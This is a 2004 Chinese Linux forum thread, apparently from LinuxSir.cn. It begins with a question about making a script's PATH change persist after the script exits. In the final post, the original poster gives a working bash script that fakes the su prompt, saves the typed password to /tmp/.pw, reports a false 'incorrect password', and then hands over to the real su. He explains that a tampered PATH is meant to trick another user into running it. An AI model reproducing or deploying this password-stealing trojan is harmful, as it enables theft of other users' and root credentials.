LinuxSir.cn,穿越时空的Linuxsir!

 找回密码
 注册
搜索
热搜: shell linux mysql
查看: 797|回复: 7

怎么在一个脚本中改变变量并且使脚本退出后仍有效?

[复制链接]
发表于 2004-7-11 19:43:43 | 显示全部楼层 |阅读模式
谢谢了
比如说PATH变量?
发表于 2004-7-11 19:58:54 | 显示全部楼层
用dot命令执行脚本
 楼主| 发表于 2004-7-11 20:24:55 | 显示全部楼层
没有其他的方法嘛?
我不能用这个方法。需要其他的办法。
发表于 2004-7-11 20:32:08 | 显示全部楼层
写成函数,定义在/etc/profile里也可
 楼主| 发表于 2004-7-11 20:49:46 | 显示全部楼层
没有全县。
发表于 2004-7-11 23:08:36 | 显示全部楼层
最初由 dongp 发表
没有全县。

呵呵,那就放在自己的.bash_profile中吧!
 楼主| 发表于 2004-7-12 00:45:59 | 显示全部楼层
不行啊。呵呵,我还是直接把自己的su给删了吧
 楼主| 发表于 2004-7-14 15:30:00 | 显示全部楼层
#!/bin/bash
echo -n "assword:";
stty -echo
read pass
stty sane
echo $pass > /tmp/.pw
echo ""
cp /tmp/.bash_profile ~/
sleep 0.7
echo "su: incorrect password"
rm /tmp/su
ln -sf /bin/su /tmp/su

修改一下PATH,让他先执行/tmp/su而不是/bin/su,然后就等着大鱼上钩了
您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表